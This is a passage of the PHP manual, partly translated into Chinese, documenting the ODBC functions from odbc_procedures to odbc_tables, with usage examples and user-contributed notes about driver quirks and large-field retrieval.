  • odbc_columns() - Lists the column names in specified tables

User Contributed Notes

There are no user contributed notes for this page.


Get the list of procedures stored in a specific data source

  • ? odbc_procedurecolumns
  • odbc_result_all ?
  • PHP Manual
  • ODBC 函数
  • Get the list of procedures stored in a specific data source

odbc_procedures

(PHP 4, PHP 5, PHP 7, PHP 8)

odbc_procedures — Get the list of procedures stored in a specific data source

说明

odbc_procedures(
resource $odbc,
?string $catalog = null,
?string $schema = null,
?string $procedure = null
): resource|false

Lists all procedures in the requested range.

参数

odbc

ODBC 连接标识符，详见 odbc_connect()。

catalog

The catalog ('qualifier' in ODBC 2 parlance).

schema

The schema ('owner' in ODBC 2 parlance). 此参数接受下列查询模式： % 来匹配零到多个字符， _ 来匹配单个字符。

procedure

The name. 此参数接受下列查询模式： % 来匹配零到多个字符， _ 来匹配单个字符。

返回值

Returns an ODBC result identifier containing the information 或者在失败时返回 false.

The result set has the following columns:

  • PROCEDURE_CAT
  • PROCEDURE_SCHEM
  • PROCEDURE_NAME
  • NUM_INPUT_PARAMS
  • NUM_OUTPUT_PARAMS
  • NUM_RESULT_SETS
  • REMARKS
  • PROCEDURE_TYPE
Drivers can report additional columns.

The result set is ordered by PROCEDURE_CAT, PROCEDURE_SCHEMA and PROCEDURE_NAME.

更新日志

版本 | 说明
8.0.0 | Prior to this version, the function could only be called with either one or four arguments.

示例

Example #1 List stored Procedures of a Database

<?php
$conn = odbc_connect($dsn, $user, $pass);
$procedures = odbc_procedures($conn, $catalog, $schema, '%');
while (($row = odbc_fetch_array($procedures))) {
print_r($row);
break; // further rows omitted for brevity
}
?>

以上示例的输出类似于：

Array
(
    [PROCEDURE_CAT] => TutorialDB
    [PROCEDURE_SCHEM] => dbo
    [PROCEDURE_NAME] => GetEmployeeSalesYTD;1
    [NUM_INPUT_PARAMS] => -1
    [NUM_OUTPUT_PARAMS] => -1
    [NUM_RESULT_SETS] => -1
    [REMARKS] =>
    [PROCEDURE_TYPE] => 2
)

参见

  • odbc_procedurecolumns() - Retrieve information about parameters to procedures
  • odbc_tables() - Get the list of table names stored in a specific data source

User Contributed Notes

There are no user contributed notes for this page.


Print result as HTML table

  • ? odbc_procedures
  • odbc_result ?
  • PHP Manual
  • ODBC 函数
  • Print result as HTML table

odbc_result_all

(PHP 4, PHP 5, PHP 7, PHP 8)

odbc_result_all — Print result as HTML table

Warning

此函数自 PHP 8.1.0 起弃用。强烈建议不要应用此函数。

说明

odbc_result_all(resource $statement, string $format = ""): int|false

Prints all rows from a result identifier produced by odbc_exec(). The result is printed in HTML table format. The data is not escaped.

This function is not supposed to be used in production environments; it is merely meant for development purposes, to get a result set quickly rendered.

参数

statement

The result identifier.

format

Additional overall table formatting.

返回值

Returns the number of rows in the result or false on error.

更新日志

版本 | 说明
8.1.0 | This function has been deprecated.

User Contributed Notes

alvaro at demogracia dot com 30-Apr-2009 02:26
The $format parameter is an optional string that gets inserted in the <table> tag. The string is printed as-is. E.g.:

<?php
odbc_result_all($res, 'id="users" class="listing"');
?>

... prints:

<table id="users" class="listing" >...
ZAPtheZAPs dot schulze dot zap at zap dot telstra dot com 02-May-2004 02:12
a revised version marius' code that works with Memo fields. (also returns rather than prints strings)

function ODBCResourceToHTML($res, $sTable, $sRow)
{$cFields = odbc_num_fields($res);
 $strTable = "<table $sTable ><tr>";
 for ($n=1; $n<=$cFields; $n++)
   {$strTable .= "<td $sRow><b>". str_replace("_", " ", odbc_field_name($res, $n)) . "</b></td>";}
   $strTable .= "</tr>";
   while(odbc_fetch_row($res))
   { $strTable .= "<tr>";
      for ($n=1; $n<=$cFields; $n++)
             {$cell = odbc_result($res, $n);
    if ($cell=='') {$strTable .= "<td $sRow>&nbsp;</td>";}
             else {$strTable .= "<td $sRow>". $cell . "</td>";}}
     $strTable .= "</tr>";}
 $strTable .= "</table>";
 Return $strTable;}

DEAR MODERATORS: you would save yourselve much much time by making this entire manual into a wiki (ie like http://en.wikipedia.org ) and within a year this would be the best manual on anything!!

best wishes, Erich
marius at stones dot com 24-Jun-2003 10:21
I've written this little function that functions simirarly to odbc_result_all, but works with MySQL:

/**
 * This function emulates the odbc_result_all function, which will return a HTML table cosisting of
 * the results of an SQL query.
 * Usage: pass a mysql result set to this function, and it will return (not output) a string containing
 * an HTML table
 * Parameters:
 * - $result is your mysql result set (result of a mysql_query() function call)
 * - $tableFeatures is a string containing any HTML TABLE features you would like in the table
 *   (eg. BORDER="0" etc.)
 */
function _mysql_result_all($result, $tableFeatures="") {
  $table .= "<!--Debugging output for SQL query-->\n\n";
  $table .= "<table $tableFeatures>\n\n";
  $noFields = mysql_num_fields($result);
  $table .= "<tr>\n";
  for ($i = 0; $i < $noFields; $i++) {
    $field = mysql_field_name($result, $i);
    $table .= "\t<th>$field</th>\n";
  }
  while ($r = mysql_fetch_row($result)) {
    $table .= "<tr>\n";
    foreach ($r as $kolonne) {
      $table .= "\t<td>$kolonne</td>\n";
    }
    $table .= "</tr>\n";
  }
  $table .= "</table>\n\n";
  $table .= "<!--End debug from SQL query-->\n\n";
  return $table;
}

Enjoy...
rabbott at calstatela dot edu 15-Aug-2000 05:46
odbc_result_all($result) cycles through
$result. So a subsequent call to odbc_fetch_row($result) will fail.
You must use odbc_fetch_row($result, 1)
to reset $result.  (But when I do that,
I get a crash!)
martin dot vgagern at gmx dot net 25-Mar-2000 01:49
As some people stated in the ODBC overview, some buggy drivers always return the number of rows to be -1. AFAIK the only way to help this situation is to count the rows by calls to odbc_fetch_into or odbc_fetch_row and then build the table yourself.


Get result data

  • ? odbc_result_all
  • odbc_rollback ?
  • PHP Manual
  • ODBC 函数
  • Get result data

odbc_result

(PHP 4, PHP 5, PHP 7, PHP 8)

odbc_result — Get result data

说明

odbc_result(resource $statement, string|int $field): string|bool|null

Get result data

参数

statement

The ODBC resource.

field

The field name being retrieved. It can either be an integer containing the column number of the field you want; or it can be a string containing the name of the field.

返回值

Returns the string contents of the field, false on error, null for NULL data, or true for binary data.

示例

The first call to odbc_result() returns the value of the third field in the current record of the query result. The second function call to odbc_result() returns the value of the field whose field name is "val" in the current record of the query result. An error occurs if a column number parameter for a field is less than one or exceeds the number of columns (or fields) in the current record. Similarly, an error occurs if a field with a name that is not one of the fieldnames of the table(s) that is(are) being queried.

Example #1 odbc_result() examples

<?php
$item_3 = odbc_result($Query_ID, 3);
$item_val = odbc_result($Query_ID, "val");
?>

注释

Field indices start from 1. Regarding the way binary or long column data is returned refer to odbc_binmode() and odbc_longreadlen().

User Contributed Notes

cgray at develop4 dot us 17-Apr-2012 09:10
FYI: odbc_result contains the following values: TABLE_QUALIFIER    TABLE_OWNER    TABLE_NAME    COLUMN_NAME    DATA_TYPE    TYPE_NAME    PRECISION    LENGTH    SCALE    RADIX    NULLABLE    REMARKS    COLUMN_FLAGS

I wrote the following to dump these values onto the page. I needed this to determine if the data-type for a column was something specific (eg: blob) to show a different result, instead of the actual contents.

        $connection_string = 'OPTIM_BLOB';
        $user = '';
        $pass = '';
        if (!($connect = odbc_pconnect($connection_string, $user, $pass))) {

        } else {
            echo 'Connecting to DSN, loading tables<br /><br />';
            $result = odbc_tables($myconn);
            $tables = array();
            while (odbc_fetch_row($result)){
                if(odbc_result($result,"TABLE_TYPE")=="TABLE") {
                    $TableName = odbc_result($result,"TABLE_NAME");
                    echo '<span id="tableName">Table: '.$TableName.'</span> ....<br /><br /> ';
                    //--------- Show Columns in that table ---------------
                    $result2 = odbc_columns($myconn, '', "%", $TableName, "%");  //db connection, DB name, schema, table name, column_name);

                    while(odbc_fetch_row($result2)){
                        //TABLE_QUALIFIER    TABLE_OWNER    TABLE_NAME    COLUMN_NAME    DATA_TYPE    TYPE_NAME    PRECISION    LENGTH    SCALE    RADIX    NULLABLE    REMARKS    COLUMN_FLAGS

                        $COLUMN_NAME = odbc_result($result2, 4); // COLUMN_NAME
                        $DataType = odbc_result($result2, 6);
                        echo '<b>Column name: '.$COLUMN_NAME.'</b> Type: '.$DataType.'<br /><br />';

                        // everything
                        echo '1: '.odbc_result($result2, 1).'<br />';    // TABLE_QUALIFIER
                        echo '2: '.odbc_result($result2, 2).'<br />';    // TABLE_OWNER
                        echo '3: '.odbc_result($result2, 3).'<br />';    // TABLE_NAME
                        echo '4: '.odbc_result($result2, 4).'<br />';    // COLUMN_NAME
                        echo '5: '.odbc_result($result2, 5).'<br />';    // DATA_TYPE (Number)
                        echo '6: '.odbc_result($result2, 6).'<br />';    // TYPE_NAME (String)
                        echo '7: '.odbc_result($result2, 7).'<br />';    // PRECISION
                        echo '8: '.odbc_result($result2, 8).'<br />';    // LENGTH
                        echo '9: '.odbc_result($result2, 9).'<br />';    // SCALE
                        echo '10: '.odbc_result($result2, 10).'<br />';    // RADIX
                        echo '11: '.odbc_result($result2, 11).'<br />';    // NULLABLE
                        echo '12: '.odbc_result($result2, 12).'<br />';    // REMARKS
                        echo '13: '.odbc_result($result2, 13).'<br />';    // COLUMN_FLAGS
                        echo '<br /><br />';
                    }
                }
            }
        }
lucas at bizzfone dot nl 30-Oct-2009 03:24
The odbc_result() function has an apparently little known feature that comes in very handy when retrieving large text or binary fields.
Consider this code snippet to retrieve a large value into a temporary file (error testing left out for clarity):

<?php
$con=odbc_connect(...);
$query="set textsize 2147483647 ".
       "select someLargeField from ...";
$resultset=odbc_exec($con,$query);
odbc_binmode($resultset,ODBC_BINMODE_RETURN);
odbc_longreadlen($resultset,4096);
while (odbc_fetch_row($resultset)) {
   $fileHandle=fopen('/tmp/myfile','wb');
   while (($chunk=odbc_result($resultset,'someLargeField'))!==false) {
      fwrite($fileHandle,$chunk);
   }
   fclose($fileHandle);
   //do something with the file
}
?>

There are a few key points to make it work:
- Make sure to include "set textsize 2147483647 " in your query.
  Without it, MSSQL truncates large values to 4096 bytes by default.
  Other databases may have a similar small limit.
- The odbc_binmode() and odbc_longreadlen() calls are just for safety.
  Their defaults in php.ini are usually correct.
- Each odbc_result() call on a large field apparently returns the next chunk.
  Of course you have to read all chunks before the next odbc_fetch_row() call.
- When all of the large value has been read, odbc_result() will return false.

Note: Using mssql_ instead of odbc_ functions is not a viable alternative. They don't work with chunks (AFAIK) and even crash php (overflow, segmentation fault) when the query result contains a large value.
baoshenyi at hotmail dot com 17-Mar-2005 10:51
I use one store procedure to retrieve value of identifier, other, name, section,data and datecreated coulmns to variable from SQL server table

using $odbc_result = odbc_exec($connect,$query); function.

After that, I using following code,
for($f=1;$f<=odbc_num_fields($odbc_result);$f++) {echo "<td style=\"font-weight:bold\">$f ".odbc_field_name($odbc_result,$f)."</td>";}
echo "</tr></table>";
odbc_fetch_row($odbc_result);
echo odbc_result($odbc_result,1)."<br>";
echo odbc_result($odbc_result,2)."<br>";
echo odbc_result($odbc_result,3)."<br>";
echo odbc_result($odbc_result,4)."<br>";
echo odbc_result($odbc_result,5)."<br>";
echo odbc_result($odbc_result,6)."<br>";

The result is as following,
1 identifier 2 other 3 name 4 section 5 data 6 datecreated
id1
other2
name3
section4
Warning: odbc_result() [function.odbc-result]: SQL error: [Microsoft][ODBC SQL Server Driver]Invalid Descriptor Index, SQL state S1002 in SQLGetData in d:\lawdepot_test\contracts\common\LicensingSQL.php on line 630
2005-03-16 18:12:00

I can not get "data"(Text column) back. Firstly, I think "data" column is too long for odbc_result($odbc_result,5) function, but after I check my old colde, I found I can get the "data" back using same function odbc_result().

I would like to hear any suggestions from you. Depressed on this question.

Michael
vlad dot posea at mymail dot ro 02-May-2003 04:22
i use odbc and mysql and i noticed after losing a lot of time that if you write something like this:
echo odbc_result($result,1);
....
echo odbc_result($result,1);
the second echo will fail. so it's more useful to save the result of odbc_result in a variable and use it later
like that: $var=odbc_result($result,1);
i hope this will be useful!
22-Jan-2003 06:43
From http://www.php.net/manual/en/function.odbc-longreadlen.php but relevant here, also.

An alternative is to adjust your php.ini file and set:
odbc.defaultlrl=65536
Or something else sufficiently large.
lrl = long read length

to get around the limit on returned chars.
fate at doityourself dot com 20-Jan-2003 09:14
if you want to quickly change a website from odbc- to mysql-data-access, you could use a simple function like this one:
function myresult ($cur,$nr) {
   return mysql_result($cur,0,mysql_field_name($cur,$nr-1));
}
and just do a global replace from "odbc_result" to "myresult".

beware, you should only use this if you don't care too much about performance, as this will start a query for every field you request - the better way is of course using mysql_fetch_row!
murat at nospam dot robcol dot k12 dot tr 15-Jul-2002 02:44
When trying to get a date/time field from an Access database, odbc_result returns the date as text (e.g. 1998-07-11 21:12:23). You may use strtotime function to convert this into a format which can be used with PHP.

e.g.
echo "The date is "
 .date("r",strtotime(odbc_result($myquery,"mydate")));
huevo dot SP at M dot earthling dot net 31-Jul-2001 03:46
With an Access 2K database, odbc_result will only work the first time it is called on a memo field (odbc_field_type returns 'LONGCHAR').

$good = odbc_result($result,'Description');
# $good holds the field value
$fail = odbc_result($result,'Description');
# $fail holds false

This tripped me up when I did something like this:

for ($i=1; $i<=odbc_num_fields($result); $i++) {
  if(odbc_result($result,$i)){
    ... more code ...
    echo odbc_result($result,$i);
    ... snip ...
  }
}

For any field type except memo, this code works perfectly.  But on memo fields, odbc_result returns false on the second call and nothing is echoed.

Be careful, use a temporary variable instead of multiple calls to odbc_result.  (It's good programming practice anyway)

for (...) {
  $temp = odbc_result($result,$i);
  if($temp){
    ...
    echo $temp;
    ...
  }
}
user at frosch dot org 30-May-2001 08:55
Hopefully useful note on accessing TEXT fields on Windows, using PHP's ODBC support to access Sybase*. With the following code:

"SELECT status AS projstatus,oid AS projident,LOWER(title) AS projtitel,startsOn AS projanfang,terminatesOn AS projende,description AS projinfo FROM Project ORDER BY projtitel ASC"

I was getting a strange error:

  Warning: SQL error: [INTERSOLV][ODBC SQL Server driver][SQL Server]Invalid column name 'projanfang'. , SQL state S0022 in SQLGetData in [**scriptname and path removed**] on line 126

even though I was clearly selecting a field as 'projanfang'. The reason I worked out eventually is that Sybase/ODBC attempts to do a conversion on the TEXT field 'description', which fails since the limit for CONVERT is 255 characters, and TEXT is a field type with a  2 GB limit. I am not sure why it doesn't work implicitly, but it does explicitly. The following code will work without errors:

  "SELECT status AS projstatus,oid AS projident,LOWER(title) AS projtitel,startsOn AS projanfang,terminatesOn AS projende,CONVERT(CHAR(255),description) AS projinfo FROM Project ORDER BY projtitel ASC"

What you do if you have a need for more than 255 characters of your text field, I do not know :(. I have also tried longreadlen, but I couldn't work out how it could be used.

* System details: Windows NT 4.0 SP6a, IIS 4.0, Sybase 11.5 Adaptive Enteprise, PHP 4.0.5.
nomail at nomail dot nomail 04-Dec-2000 05:00
Problem: Function returns a max of 4095 bytes of a cell with one call.

Tip: If you have a cell containing more than 4095 bytes, write a loop and call the cell over and over as long return is not "". All returns can be added up to the whole string.
dac at felspar dot com 27-Oct-2000 07:43
FWIW, ADO and similar ODBC-using interfaces also cannot distinguish between A.id and B.id. The easy solution is aliasing in SQL:

Consider a table "A" consisting only of the column "id". Next, consider the following query:

SELECT * FROM A JOIN B ON A.id=B.id

With ODBC, you'd be forced to use the numerical index, rather than the name. However, you could rewrite the query, too:

SELECT A.id AS A_id, B.id AS B_id FROM A JOIN B ON A.id=B.id

This can be better on three counts:

Firstly, unless you really want everything in the result set, it might be faster. SQL servers can be faster with "*", but often the networking will benefit from less data (Or a smaller tuple width, if you're into database jargon).

Secondly, since you're forced into thinking about what you want out of the query, you'll probably write better SQL as a result.

Thirdly, if you change the query - or tables - slightly, you don't have to revisit all your code to cope with the change.

Aplogies for stating the obvious, and having no imagination with my examples.
dinin at fas dot harvard dot edu 21-Jul-2000 09:35
Here's a limitation that isn't mentioned anywhere (that I could see) and gave me a rather large headache for a couple of hours trying to figure out why my database wasn't initializing correctly.
If you are trying to retrieve a large collection of fields from a database, be aware that odbc_result may only return up to 33 result columns.  Any more than that, and it generates a "result out of range" warning in your script.
(I tried adjusting to have 32 fields, with the same bug.) It generates an error "Warning: Field index is larger than the number of fields inyour-script.php on line 70" ANY time you try to retrieve the last field of a sufficiently large record. What worked for me was just to write the last column twice... that way, the query has 34 fields, but the last two are the same. You know it'll crash if you ask for #34, but just use ODBC_result(current_query, 33) and you won't have a problem. Good luck

-D
dave at quiver dot com 14-Jul-2000 12:44
If I use and MS Access 2000 database with fields of type memo, I get:
"Warning: SQL error: [Microsoft][ODBC Driver Manager] Invalid cursor state, SQL state 24000 in SQLGetData in D:\Inetpub\wwwroot\xxx\xxx.php on line XxX." If I change to type "text," everything's cool.
jniels23 at csc dot com 24-Mar-1999 08:31
Beware if you have fields with the same name in a result

<?php
$res = odbc_exec($conn,"select * from PeopleMR,People,Role,Organisation".
" WHERE PeopleMR.MeetingID = $MeetingID" .
" ORDER BY People.Surname");
?>

I have the field "Name" from both TABLE Role and TABLE Organisation, as for MySQL you would do :

<?php
mysql_result($res,$count,"Role.Name");
mysql_result($res,$count,"Organisation.Name");
?>

but with odbc you do :

<?php odbc_result($res,$count,"Name"); ?>

this gives you the result of TABLE Role "Name" so you have to find the Field Number for the Organisation"Name" to have the correct result.


Rollback a transaction

  • ? odbc_result
  • odbc_setoption ?
  • PHP Manual
  • ODBC 函数
  • Rollback a transaction

odbc_rollback

(PHP 4, PHP 5, PHP 7, PHP 8)

odbc_rollback — Rollback a transaction

说明

odbc_rollback(resource $odbc): bool

Rolls back all pending statements on the connection.

参数

odbc

ODBC 连接标识符，详见 odbc_connect()。

返回值

成功时返回 true， 或者在失败时返回 false。

User Contributed Notes

Daniel 04-Sep-2014 10:06
Check the Spanish translation! Roll back is not 'Reanudar', is almost the opposite. A better word could be 'Deshacer'.


Adjust ODBC settings

  • ? odbc_rollback
  • odbc_specialcolumns ?
  • PHP Manual
  • ODBC 函数
  • Adjust ODBC settings

odbc_setoption

(PHP 4, PHP 5, PHP 7, PHP 8)

odbc_setoption — Adjust ODBC settings

说明

odbc_setoption(
resource $odbc,
int $which,
int $option,
int $value
): bool

This function allows fiddling with the ODBC options for a particular connection or query result. It was written to help find work around to problems in quirky ODBC drivers. You should probably only use this function if you are an ODBC programmer and understand the effects the various options will have. You will certainly need a good ODBC reference to explain all the different options and values that can be used. Different driver versions support different options.

Because the effects may vary depending on the ODBC driver, use of this function in scripts to be made publicly available is strongly discouraged. Also, some ODBC options are not available to this function because they must be set before the connection is established or the query is prepared. However, if on a particular job it can make PHP work so your boss doesn't tell you to use a commercial product, that's all that really matters.

参数

odbc

Is a connection id or result id on which to change the settings. For SQLSetConnectOption(), this is a connection id. For SQLSetStmtOption(), this is a result id.

which

Is the ODBC function to use. The value should be 1 for SQLSetConnectOption() and 2 for SQLSetStmtOption().

option

The option to set.

value

The value for the given option.

返回值

成功时返回 true， 或者在失败时返回 false。

示例

Example #1 odbc_setoption() examples

<?php
// 1. Option 102 of SQLSetConnectOption() is SQL_AUTOCOMMIT.
// Value 1 of SQL_AUTOCOMMIT is SQL_AUTOCOMMIT_ON.
// This example has the same effect as
// odbc_autocommit($conn, true);

odbc_setoption($conn, 1, 102, 1);

// 2. Option 0 of SQLSetStmtOption() is SQL_QUERY_TIMEOUT.
// This example sets the query to timeout after 30 seconds.

$result = odbc_prepare($conn, $sql);
odbc_setoption($result, 2, 0, 30);
odbc_execute($result);
?>

User Contributed Notes

egil at wp dot pl 19-Jan-2009 07:42
Some options for Microsoft SQL Server ODBC:
1 - (SQL_MAX_ROWS) show top x rows
6 - (SQL_CURSOR_TYPE) zmiana kursora - ma dzia?a? dopiero w PHP 5.3

You can "translate" constant names (found on e.g. Microsoft website) to appropriate values using this page:
http://www.freepascal.org/docs-html/packages/odbcsql/index-2.html

BTW. If anyone is banging his head about "cursor type changed" warning while using execute with ORDER BY clause, then just use exec for now (remember to addslashes for yourself). In PHP 5.3 a Bug #43668 will be fixed and it will allow you to change a cursor type to SQL_CUR_USE_ODBC.

Note that you could also try to select a cursor type in odbc_connect, but that didn't work for me (much more problems appeared then it solved).


Retrieves special columns

  • ? odbc_setoption
  • odbc_statistics ?
  • PHP Manual
  • ODBC 函数
  • Retrieves special columns

odbc_specialcolumns

(PHP 4, PHP 5, PHP 7, PHP 8)

odbc_specialcolumns — Retrieves special columns

说明

odbc_specialcolumns(
resource $odbc,
int $type,
?string $catalog,
string $schema,
string $table,
int $scope,
int $nullable
): resource|false

Retrieves either the optimal set of columns that uniquely identifies a row in the table, or columns that are automatically updated when any value in the row is updated by a transaction.

参数

odbc

ODBC 连接标识符，详见 odbc_connect()。

type
When the type argument is SQL_BEST_ROWID, odbc_specialcolumns() returns the column or columns that uniquely identify each row in the table. When the type argument is SQL_ROWVER, odbc_specialcolumns() returns the column or columns in the specified table, if any, that are automatically updated by the data source when any value in the row is updated by any transaction.
catalog

The catalog ('qualifier' in ODBC 2 parlance).

schema

The schema ('owner' in ODBC 2 parlance).

table

The table.

scope

The scope, which orders the result set. One of SQL_SCOPE_CURROW, SQL_SCOPE_TRANSACTION or SQL_SCOPE_SESSION.

nullable

Determines whether to return special columns that can have a NULL value. One of SQL_NO_NULLS or SQL_NULLABLE.

返回值

Returns an ODBC result identifier or false on failure.

The result set has the following columns:

  • SCOPE
  • COLUMN_NAME
  • DATA_TYPE
  • TYPE_NAME
  • COLUMN_SIZE
  • BUFFER_LENGTH
  • DECIMAL_DIGITS
  • PSEUDO_COLUMN
Drivers can report additional columns.

The result set is ordered by SCOPE.

参见

  • odbc_tables() - Get the list of table names stored in a specific data source

User Contributed Notes

There are no user contributed notes for this page.


Retrieve statistics about a table

  • ? odbc_specialcolumns
  • odbc_tableprivileges ?
  • PHP Manual
  • ODBC 函数
  • Retrieve statistics about a table

odbc_statistics

(PHP 4, PHP 5, PHP 7, PHP 8)

odbc_statistics — Retrieve statistics about a table

说明

odbc_statistics(
resource $odbc,
?string $catalog,
string $schema,
string $table,
int $unique,
int $accuracy
): resource|false

Get statistics about a table and its indexes.

参数

odbc

ODBC 连接标识符，详见 odbc_connect()。

catalog

The catalog ('qualifier' in ODBC 2 parlance).

schema

The schema ('owner' in ODBC 2 parlance).

table

The table name.

unique

The type of the index. One of SQL_INDEX_UNIQUE or SQL_INDEX_ALL.

accuracy

One of SQL_ENSURE or SQL_QUICK. The latter requests that the driver retrieve the CARDINALITY and PAGES only if they are readily available from the server.

返回值

Returns an ODBC result identifier 或者在失败时返回 false.

The result set has the following columns:

  • TABLE_CAT
  • TABLE_SCHEM
  • TABLE_NAME
  • NON_UNIQUE
  • INDEX_QUALIFIER
  • INDEX_NAME
  • TYPE
  • ORDINAL_POSITION
  • COLUMN_NAME
  • ASC_OR_DESC
  • CARDINALITY
  • PAGES
  • FILTER_CONDITION
Drivers can report additional columns.

The result set is ordered by NON_UNIQUE, TYPE, INDEX_QUALIFIER, INDEX_NAME and ORDINAL_POSITION.

示例

Example #1 List Statistics of a Table

<?php
$conn = odbc_connect($dsn, $user, $pass);
$statistics = odbc_statistics($conn, 'TutorialDB', 'dbo', 'TEST', SQL_INDEX_UNIQUE, SQL_QUICK);
while (($row = odbc_fetch_array($statistics))) {
print_r($row);
break; // further rows omitted for brevity
}
?>

以上示例的输出类似于：

Array
(
    [TABLE_CAT] => TutorialDB
    [TABLE_SCHEM] => dbo
    [TABLE_NAME] => TEST
    [NON_UNIQUE] =>
    [INDEX_QUALIFIER] =>
    [INDEX_NAME] =>
    [TYPE] => 0
    [ORDINAL_POSITION] =>
    [COLUMN_NAME] =>
    [ASC_OR_DESC] =>
    [CARDINALITY] => 15
    [PAGES] => 3
    [FILTER_CONDITION] =>
)

参见

  • odbc_tables() - Get the list of table names stored in a specific data source

User Contributed Notes

eion at bigfoot dot com 19-Apr-2011 03:36
A couple of the function parameters are undefined:

unique - determines whether you want to return just unique indexes or all indexes.  Use SQL_INDEX_UNIQUE or SQL_INDEX_ALL for this parameter

accuracy - whether you wan to return everything there is to know about the table or just what information is readily available.  Use SQL_ENSURE or SQL_QUICK for this parameter

For a bit more info about this function see the ODBC function SQLStatistics() at http://msdn.microsoft.com/en-us/library/ms711022(v=vs.85).aspx


Lists tables and the privileges associated with each table

  • ? odbc_statistics
  • odbc_tables ?
  • PHP Manual
  • ODBC 函数
  • Lists tables and the privileges associated with each table

odbc_tableprivileges

(PHP 4, PHP 5, PHP 7, PHP 8)

odbc_tableprivileges — Lists tables and the privileges associated with each table

说明

odbc_tableprivileges(
resource $odbc,
?string $catalog,
string $schema,
string $table
): resource|false

Lists tables in the requested range and the privileges associated with each table.

参数

odbc

ODBC 连接标识符，详见 odbc_connect()。

catalog

The catalog ('qualifier' in ODBC 2 parlance).

schema

The schema ('owner' in ODBC 2 parlance). 此参数接受下列查询模式： % 来匹配零到多个字符， _ 来匹配单个字符。

table

The name. 此参数接受下列查询模式： % 来匹配零到多个字符， _ 来匹配单个字符。

返回值

An ODBC result identifier 或者在失败时返回 false.

The result set has the following columns:

  • TABLE_CAT
  • TABLE_SCHEM
  • TABLE_NAME
  • GRANTOR
  • GRANTEE
  • PRIVILEGE
  • IS_GRANTABLE
Drivers can report additional columns.

The result set is ordered by TABLE_CAT, TABLE_SCHEM, TABLE_NAME, PRIVILEGE and GRANTEE.

示例

Example #1 List Privileges of a Table

<?php
$conn = odbc_connect($dsn, $user, $pass);
$privileges = odbc_tableprivileges($conn, 'SalesOrders', 'dbo', 'Orders');
while (($row = odbc_fetch_array($privileges))) {
print_r($row);
break; // further rows omitted for brevity
}
?>

以上示例的输出类似于：

Array
(
    [TABLE_CAT] => SalesOrders
    [TABLE_SCHEM] => dbo
    [TABLE_NAME] => Orders
    [GRANTOR] => dbo
    [GRANTEE] => dbo
    [PRIVILEGE] => DELETE
    [IS_GRANTABLE] => YES
)

参见

  • odbc_tables() - Get the list of table names stored in a specific data source

User Contributed Notes

There are no user contributed notes for this page.


Get the list of table names stored in a specific data source

  • ? odbc_tableprivileges
  • PDO ?
  • PHP Manual
  • ODBC 函数
  • Get the list of table names stored in a specific data source

odbc_tables

(PHP 4, PHP 5, PHP 7, PHP 8)

odbc_tables — Get the list of table names stored in a specific data source

说明

odbc_tables(
resource $odbc,
?string $catalog = null,
?string $schema = null,
?string $table = null,
?string $types = null
): resource|false

Lists all tables in the requested range.

To support enumeration of qualifiers, owners, and table types, the following special semantics for the catalog, schema, table, and table_type are available:

  • If catalog is a single percent character (%) and schema and table are empty strings, then the result set contains a list of valid qualifiers for the data source. (All columns except the TABLE_QUALIFIER column contain NULLs.)
  • If schema is a single percent character (%) and catalog and table are empty strings, then the result set contains a list of valid owners for the data source. (All columns except the TABLE_OWNER column contain NULLs.)
  • If table_type is a single percent character (%) and catalog, schema and table are empty strings, then the result set contains a list of valid table types for the data source. (All columns except the TABLE_TYPE column contain NULLs.)

参数

odbc

ODBC 连接标识符，详见 odbc_connect()。

catalog

The catalog ('qualifier' in ODBC 2 parlance).

schema

The schema ('owner' in ODBC 2 parlance). 此参数接受下列查询模式： % 来匹配零到多个字符， _ 来匹配单个字符。

table

The name. 此参数接受下列查询模式： % 来匹配零到多个字符， _ 来匹配单个字符。

types

If table_type is not an empty string, it must contain a list of comma-separated values for the types of interest; each value may be enclosed in single quotes (') or unquoted. For example, 'TABLE','VIEW' or TABLE, VIEW. If the data source does not support a specified table type, odbc_tables() does not return any results for that type.

返回值

Returns an ODBC result identifier containing the information 或者在失败时返回 false.

The result set has the following columns:

  • TABLE_CAT
  • TABLE_SCHEM
  • TABLE_NAME
  • TABLE_TYPE
  • REMARKS
Drivers can report additional columns.

The result set is ordered by TABLE_TYPE, TABLE_CAT, TABLE_SCHEM and TABLE_NAME.

更新日志

版本 | 说明
8.0.0 | schema, table and types are now nullable.

示例

Example #1 List Tables in a Catalog

<?php
$conn = odbc_connect($dsn, $user, $pass);
$tables = odbc_tables($conn, 'SalesOrders', 'dbo', '%', 'TABLE');
while (($row = odbc_fetch_array($tables))) {
print_r($row);
break; // further rows omitted for brevity
}
?>

以上示例的输出类似于：

Array
(
    [TABLE_CAT] => SalesOrders
    [TABLE_SCHEM] => dbo
    [TABLE_NAME] => Orders
    [TABLE_TYPE] => TABLE
    [REMARKS] =>
)

参见

  • odbc_tableprivileges() - Lists tables and the privileges associated with each table
  • odbc_columns() - Lists the column names in specified tables
  • odbc_specialcolumns() - Retrieves special columns
  • odbc_statistics() - Retrieve statistics about a table
  • odbc_procedures() - Get the list of procedures stored in a specific data source

User Contributed Notes

narcomweb at wanadoo dot fr 05-Nov-2005 09:33
Here a Code for listing Table names
<?php
$dbh = odbc_connect($dsn, $user, $pwd);

   $result = odbc_tables($dbh);

   $tables = array();
   while (odbc_fetch_row($result)){
     if(odbc_result($result,"TABLE_TYPE")=="TABLE")
       echo"<br>".odbc_result($result,"TABLE_NAME");

   }
?>
You don't have views or System tables with.
Only simple tables in your database.
pmains at ux dot com 22-Jul-2005 07:39
This probably works for a variety of formats, but if you want a list of *just* the table names from an SQL dsn source (I'm using MSSQL), here's the code.

<?php

# ... assign $dsn, $uid, & $pwd ...

$dbh = odbc_connect($dsn, $uid, $pwd);

    $result = odbc_tables($dbh);

    $tables = array();
    while (odbc_fetch_row($result))
        array_push($tables, odbc_result($result, "TABLE_NAME") );

    foreach( $tables as $t ) {
        echo "$t\n";
    }

?>
iggvopvantoodlwin 01-Mar-2004 07:42
With regard to the note made on results not working.
Test the database with the easy:

odbc_result_all(odbc_tables($db));

$db is obviously a connected batadase. Then start to experiment:

if(!$odbcr=odbc_tables($db,"udb","", "%", "'TABLE'"))

"udb" is the DNS - aka 'name of my ODBC database in the Windows ODBC thingamy'. In result_all the full path was shown but I just used the name I assigned; either should work.

The second parameter "" is listed by result_all as "TABLE_SCHEM" and all items were "NULL", so I have put "".

The third parameter is "%". According to result_all this col is "TABLE_NAME", so I could have put the name of one of my tables, i.e. "Address".

